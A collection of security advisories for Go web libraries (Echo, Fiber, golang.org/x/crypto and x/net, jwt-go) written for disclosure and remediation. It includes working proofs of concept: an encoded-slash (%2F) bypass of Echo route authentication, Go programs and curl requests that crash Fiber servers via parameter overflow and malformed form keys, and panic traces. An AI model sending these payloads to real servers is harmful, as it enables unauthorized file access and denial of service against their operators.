Echo: Encoded slash (%2F) bypasses route-level protection and exposes static files
Summary
Echo's router and static file handler disagree on URL path decoding. The router matches routes using the raw encoded path (preserving %2F as-is), while StaticDirectoryHandler unescapes %2F to / before resolving filesystem paths. This allows an attacker to bypass route-level access controls and read static files without authorization.
Details
Root cause 1 — router.go lines 798-802:
The router uses req.URL.RawPath for route matching when useEscapedPathForRouting is false (the default). This means /admin%2Fsecret.txt is treated as a single path segment and does NOT match the /admin/* route pattern.
``go
if !r.useEscapedPathForRouting && req.URL.RawPath != "" {
path = req.URL.RawPath
}
`
Root cause 2 — echo.go lines 559-568:
StaticDirectoryHandler calls url.PathUnescape() on the path parameter before opening files. This converts %2F back to /, resolving admin/secret.txt on disk.
`go
if !disablePathUnescaping {
tmpPath, err := url.PathUnescape(p)
p = tmpPath
}
name := filepath.ToSlash(filepath.Clean(strings.TrimPrefix(p, "/")))
`
PoC (Screenshot)
Sample:
<img width="1291" height="970" alt="image" src="https://github.com/user-attachments/assets/0bc58059-3e6d-4678-ab25-a5c79b006738" />
403:
<img width="526" height="194" alt="image" src="https://github.com/user-attachments/assets/2f55ffdd-87b2-4a1b-8a13-130ebad0f257" />
Bypass with encoded slash:
<img width="592" height="203" alt="image" src="https://github.com/user-attachments/assets/1191cd39-ae8f-4d7e-8fb1-cb9cf31f484f" />
Impact
Unauthorized static file disclosure. Applications that protect route prefixes with authentication middleware while also serving static files from a broader root are vulnerable. An attacker only needs to encode the slash (/ → %2F) in the URL to bypass all route-level protection.
Common affected pattern:
`go
adminGroup := e.Group("/admin", authMiddleware)
e.StaticFS("/", os.DirFS("public"))
``
golang.org/x/crypto: Invoking pathological RSA/DSA parameters may cause DoS
The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.
golang.org/x/crypto: Invoking byte arithmetic causes underflow and panic
An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.
Fiber has a Denial of Service Vulnerability via Route Parameter Overflow
A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Affected Versions
Fiber v3.0.0-rc.3 and earlier v3 releases
Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
Both versions share the same vulnerable routing implementation
Vulnerability Details
Root Cause
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
``go
const maxParams = 30
type DefaultCtx struct {
values [maxParams]string // Fixed 30-element array
// ...
}
`
The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
v3: path.go:514
v2: path.go:516
`go
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]
`
When paramsIterator >= 30, this triggers:
`
panic: runtime error: index out of range [30] with length 30
`
Attack Scenario
1. Application registers route with >30 parameters (e.g., via code or dynamic routing):
`go
app.Get("/api/:p1/:p2/:p3/.../p35", handler)
`
2. Attacker sends matching HTTP request:
`bash
curl http://target/api/v1/v2/v3/.../v35
`
3. Server crashes during request processing with runtime panic
Proof of Concept
For Fiber v3
`go
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v3"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9999")
}()
time.Sleep(200 time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9999/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
`
Output:
`
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v3.(routeParser).getMatch(...)
/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(Route).match(...)
/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(App).next(...)
/path/to/fiber/router.go:142
`
For Fiber v2
`go
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9998")
}()
time.Sleep(200 time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9998/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
`
Output (v2):
`
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v2.(routeParser).getMatch(...)
/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(Route).match(...)
/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(App).next(...)
/path/to/fiber/v2@v2.52.10/router.go:127
`
Impact
Exploitation Requirements
No authentication required
Single HTTP request triggers crash
Trivially scriptable for sustained DoS
Works against any route with >30 parameters
Real-World Impact
Public APIs: Remote DoS attacks on vulnerable endpoints
Microservices: Cascade failures if vulnerable service is critical
Auto-scaling: Repeated crashes prevent proper recovery
Monitoring: Log flooding and alert fatigue
Likelihood
HIGH - Exploitation requires only:
Knowledge of route structure (often public in APIs)
Standard HTTP client (curl, browser, etc.)
Single malformed request
Workarounds
Until patched, users should:
1. Audit Routes: Ensure all routes have ≤30 parameters
`bash
# Search for potential issues
grep -r "/:./:./:." . | grep -v node_modules
`
2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count:
`go
paramCount := strings.Count(route, ":")
if paramCount > 30 {
log.Fatal("Route exceeds maxParams")
}
``
3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
4. Monitoring: Alert on panic patterns in application logs
Timeline
2024-12-24: Vulnerability discovered in v3 during PR #3962 review
2024-12-25: Proof of concept confirmed exploitability in v3
2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
2024-12-25: Security advisory created
References
v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
Vulnerable Code Locations:
v3: path.go:514
v2: path.go:516
Credit
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder
Description
When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.
The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.
Steps to Reproduce
Create a POST request handler that accepts x-www-form-urlencoded data
``go
package main
import (
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []struct{} form:"test"
}
func main() {
app := fiber.New()
app.Post("/", func(c fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
return nil
})
fmt.Println(app.Listen(":3000"))
}
`
Run the server and send a POST request with a large numeric key in form data, such as:
`bash
curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \
-H 'Content-Type: application/x-www-form-urlencoded'
`
Relevant Code Snippet
Within the decoder's decode method:
`go
idx := parts[0].index
if v.IsNil() || v.Len() < idx+1 {
value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge
if v.Len() < idx+1 {
reflect.Copy(value, v)
}
v.Set(value)
}
`
The idx` is not validated before use, leading to unsafe slice allocation for extremely large values.
---
Impact
Application panic or crash on malicious or malformed input.
Potential denial of service (DoS) via memory exhaustion or server crash.
Lack of defensive checks in the parsing code causes instability.
Fiber panics when fiber.Ctx.BodyParser parses invalid range index
Summary
When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index
Details
fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.
Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality
Reproducing
Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData
``go
package main
import (
"encoding/json"
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []struct {
Value string form:"value"
} form:"nested-content"
}
func main() {
app := fiber.New()
app.Post("/", func(c fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
c.Set("Content-Type", "application/json")
s, _ := json.Marshal(formData)
return c.SendString(string(s))
})
fmt.Println(app.Listen(":3000"))
}
`
Correct Behaviour
Send a valid request such as:
`bash
curl --location 'localhost:3000' \
--form 'nested-content[0].value="Foo"' \
--form 'nested-content[1].value="Bar"'
`
You recieve valid JSON
`json
{"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}
`
Crashing behaviour
Send an invalid request such as:
`bash
curl --location 'localhost:3000' \
--form 'nested-content[-1].value="Foo"'
`
The server panics and crashes
`
panic: reflect: slice index out of range
goroutine 8 [running]:
reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)
/usr/lib/go-1.24/src/reflect/value.go:1418 +0x167
github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})
[...]
`
Impact
Anyone using fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent
golang.org/x/crypto Vulnerable to Denial of Service (DoS) via Slow or Incomplete Key Exchange
SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.
jwt-go allows excessive memory allocation during header parsing
Summary
Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.
As a result, in the face of a malicious request whose _Authorization_ header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Details
See parse.ParseUnverified
Impact
Excessive memory allocation
Go Fiber CSRF Token Validation Vulnerability
A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to obtain tokens and forge malicious requests on behalf of a user. This can lead to unauthorized actions being taken on the user's behalf, potentially compromising the security and integrity of the application.
Vulnerability Details
The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. The following issues were identified:
1. Lack of Token Association: The CSRF token was validated against tokens in storage but was not tied to the original requestor that generated it, allowing for token reuse.
Remediation
To remediate this vulnerability, it is recommended to take the following actions:
1. Update the Application: Upgrade the application to a fixed version with a patch for the vulnerability.
2. Implement Proper CSRF Protection: Review the updated documentation and ensure your application's CSRF protection mechanisms follow best practices.
4. Choose CSRF Protection Method: Select the appropriate CSRF protection method based on your application's requirements, either the Double Submit Cookie method or the Synchronizer Token Pattern using sessions.
5. Security Testing: Conduct a thorough security assessment, including penetration testing, to identify and address any other security vulnerabilities.
Defence-in-depth
Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Strict, and the Secure and HttpOnly attributes.
Go HTTP/2 rapid reset DoS
HTTP/2 server vulnerable to rapid stream reset attack causing denial of service.
x/net/html Vulnerable to DoS During HTML Parsing
The html package (aka x/net/html) through 2018-09-25 in Go mishandles <table><math><select><mi><select></table>, leading to an infinite loop during an html.Parse call because inSelectIM and inSelectInTableIM do not comply with a specification.
golang.org/x/net vulnerable to Uncontrolled Resource Consumption
A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.
golang.org/x/crypto/ssh Man-in-the-Middle attack
The Go SSH library (golang.org/x/crypto/ssh) by default does not verify host keys, facilitating man-in-the-middle attacks if ClientConfig.HostKeyCallback is not set. Default behavior changed in commit e4e2799 to require explicitly registering a hostkey verification mechanism.
golang.org/x/net/http2/h2c vulnerable to request smuggling attack
A request smuggling attack is possible when using MaxBytesHandler. When using MaxBytesHandler, the body of an HTTP request is not fully consumed. When the server attempts to read HTTP2 frames from the connection, it will instead be reading the body of the HTTP request, which could be attacker-manipulated to represent arbitrary HTTP2 requests.
Specific Go Packages Affected
golang.org/x/net/http2/h2c